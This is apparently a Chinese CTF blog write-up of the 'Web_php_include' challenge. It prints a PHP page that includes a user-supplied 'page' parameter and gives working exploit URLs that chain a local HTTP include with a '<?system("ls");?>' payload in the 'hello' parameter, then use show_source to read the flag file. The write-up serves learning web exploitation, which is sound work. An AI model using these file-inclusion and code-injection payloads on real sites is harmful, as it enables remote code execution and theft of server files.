入坑ctf中Web_php_include思路

这条路注定是孤独的,哪怕没能碰到那个和你一起走下去的人,也要坚持下去,这就是梦想。希望自己早日碰到那个她吧.

考试结束了,虽然出了点小意外,但是不能阻止我更新文章对吧,这不就屁颠屁颠(被逼无奈)的来更新ctf了吗。这是一道关于代码审计的题,废话不多说直接上思路

我们打开题目发现是一段php文章于是我就开始对他进行审计

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

拿到代码我们发现传参为page而且当出现php://时候会自动替换为null,并且当他满足page时候while的条件是满足的于是我打算从page入手

我们来尝试利用while循环和hello参数来列出所包含的页面这里我们来构建语句
我们先来设置一下默认页面也就是page的返回值

http://220.249.52.133:45167/?page=http://127.0.0.1/index.php
如图

然后我们利用hello对所有页面进行列出这里我们用到Linux指令system(“ls”)并进行url加密

http://220.249.52.133:45167/?page=http://127.0.0.1/index.php/?hello=<?system("ls");?>
/*编码前指令*/

http://220.249.52.133:45167/?page=http://127.0.0.1/index.php/?hello=%3C?system(%22ls%22);?%3E
/*编码后指令*/

果然返回出了所有页面的列表

然后我们利用show_source函数列出他的内容

http://220.249.52.133:45167/?page=http://127.0.0.1/index.php/?hello=%3C?show_source(%22fl4gisisish3r3.php%22);?%3E

当然还有其他方法来操作了明天我会继续更新的

留下评论